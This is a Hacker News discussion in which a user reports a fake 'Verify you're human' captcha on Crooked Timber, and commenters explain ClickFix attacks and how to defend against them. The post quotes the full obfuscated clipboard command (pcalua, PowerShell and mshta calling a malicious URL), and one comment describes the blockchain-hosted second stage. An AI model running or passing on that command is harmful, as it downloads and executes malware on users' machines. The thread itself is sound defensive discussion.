Ask HN: Crooked Timber showed showed me a virus captcha, What now?
Posted by Jgoauh 1 hour ago
Hello everyone, This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.
It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press Run
At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.
I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""
I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.
How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.
Has this happened to you before ? How do you protect yourself ?
Comments
Comment by everdrive 1 hour ago
The attack is basically getting someone to accidentally run malicious code.
- ctrl + R brings up the Windows "run" dialogue.
- the code executes a powershell command that reaches out to a remote server
- if successful, the remote server answers and you have installed a dropper or something.
Really, you should never do _anything_ like this for any website. You don't need to protect yourself. This is sort of equivalent (in the strict metaphorical sense) of getting a call from your bank and they ask you for your banking password: you just never do it, no matter what. Same thing here. You don't ever execute code via the run dialogue to solve a CAPTHCA. Never.
https://www.sentinelone.com/blog/how-clickfix-is-weaponizing...
Comment by tasuki 42 minutes ago
I think the concern is the user not knowing they're executing code on their machine.
And as a counterexample: some captchas require you to compute something expensive to prove you're not a llm scraper or whatever. It's normal for captchas to require you to execute code on your machine, it's just usually done within the browser's sandbox.
And anyway, these things are completely incomprehensible to non-technical users.
Comment by everdrive 3 minutes ago
I've never run into one of these. What do they ask you to compute?
Comment by LikesPwsh 8 minutes ago
Because thousands of users make the same mistake, blame needs to be directed at Windows UX.
MS could fix this easily by 1) moving Run to optional features and 2) removing online features from Start to make performance comparable.
The other "run" interfaces (terminal, conhost, Powershell) are sufficiently menacing to scare away non-devs already.
Comment by tracker1 10 minutes ago
Just that simple practice has kept me reasonably safe, even from an AI scam once.
Comment by cavoirom 15 minutes ago
Comment by tracker1 7 minutes ago
For that matter, there's always a risk of downloading/installing anything from anywhere. There have been successful compromises of many application supply chains at this point in official release paths. You will accept some risk regardless of your approach.
Comment by gus_massa 37 minutes ago
As a workaround, is it possible to disable Ctr+R to add some friction in case I am distracted?
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Comment by kstrauser 1 hour ago
You saw something unusual, then
1. Stopped what you were doing.
2. Investigated to see if this was legitimate or malicious.
3. Identified a place to asked others about it.
4. Formulated a good question with enough background information to help people answer it.
All around good job! Well done.
Comment by SirFatty 55 minutes ago
Comment by kstrauser 31 minutes ago
Given that the asker isn’t experienced enough to know for sure, erring on the side of giving all the information was the right call. If they didn’t, someone would be riding them about “how are we suppose to know if you don’t show us?”.
Comment by paulyy_y 50 minutes ago
"Great instincts!" lmao
Comment by kstrauser 34 minutes ago
It’s the best sandbox I have near at hand for investigating things like that.
Comment by Good4boothee 1 hour ago
Was the site itself actually infected(hacked)? If not, then all you need is adblock (like ublock origin). And that was true for last 20 years.
If website actually got hacked then I don't know of any good solutions. It will be flagged soon or later, and new visitors will be blocked by "Google Safe Browsing". Using something like "Qubes OS" might protect you against attacks based on browser zero-days but VMs don't really protect against ClickFix when people usually share clipboard between host and client VMs.
Comment by Retr0id 44 minutes ago
Comment by iamnothere 34 minutes ago
Or you could send them to download some spyware/adware Play Store app
Comment by OkayPhysicist 21 minutes ago
Comment by nneonneo 40 minutes ago
As you might imagine, these attacks are aimed at less sophisticated users who may have no idea what Win+R even does, and who might be tricked into believing that this actually has anything to do with website verification.
The site you visited -- or one of the resources it depends on -- might have been compromised. If you're enterprising, you could probably determine where the malicious script is getting loaded from by looking in the page source.
Comment by bstsb 48 minutes ago
it also sets some interesting scripts to your LocalStorage, which are evaluated upon each page load.
the first sends an object to another remote server, { c: <contract address>, e: encrypted base64 blob of basic device info }.
the second calls an API to make said smart contract run the function whose selector is 0xca3348d9, with no parameters, and return the result. the address is 0x58460d0b3d4d6b03761c89120393c0c676676496
edit: this is wildly complex, way more so than a traditional ClickFix attack. it's fetching JS scripts from a Ethereum/Base contract and executing them - i've never seen something like this before. it's got a kill switch too and a cooldown, so i'm no longer experiencing the initial malware dropper on my device "fingerprint"
Comment by c0n5pir4cy 1 hour ago
I've seen similar before where it wasn't the page itself that injected it - rather it was injected by a compromised/sold extension that has permissions on all pages.
Comment by deepsummer 37 minutes ago
It even supports Macs. But the Mac clipboard content is just "Oops...".
P.S.: even worse: the crookedtimber site itself is infected. No third-party attack. It registers a service worker on the user's browser that stays even when you leave the site. Be sure to clean up the storage data after visiting that site.
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Comment by netsharc 19 minutes ago
It plays in a media player too.
Now watch the people with "overabundance of caution" tell me what I did was stupid...
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Comment by confusedbucket 59 minutes ago
Almost, recently. I bought a new Mac, needed something reliable to carry around. I never had a Mac or anything from Apple before, so I wasn't familiar with how exactly does it work. I knew homebrew existed, I understood it's similar to Linux/Windows in that not all applications are in the store, but wasn't familiar at all with how those are commonly installed.
Here's what I did:
1. Open Safari, the only browser there was.
2. Typed "claude mac download" in the search bar (needed Cowork).
3. Clicked the first link.
4. Copied the command it told me to, instructing me to run it in terminal.
Only now I realize that there's something fishy about the command; it had base64 payload in it. Didn't run it and took closer look on the page - it was a Claude share (which I quickly scrolled over).
I can admit mistakes, but Google, Apple and Anthropic deserve some blame here, too.
- Google: pushed malware link up top, didn't (distinctly, at least) mark it as a paid result and I'd swear it didn't show me the URL (which I usually always check before clicking, but maybe I just missed it as the search results are rendered differently from Kagi's)
- Safari: hides path by default, so all you see is "claude.ai". Someone probably thought this looked nice, I think it's just borderline idiotic.
- Anthropic: hosts what's essentially a user-content on their main domain.
Also recently saw a few legit projects using base64 in their install one-liners. Please, stop it.
> How do you protect yourself ?
Installed not Safari and made Google not my default search engine, as I always do. That way I at least always know where I am.
Comment by SoftTalker 1 hour ago
Endless vigilance. Scammers are always working on new tricks. You were rightly suspicious and not fooled by this one.
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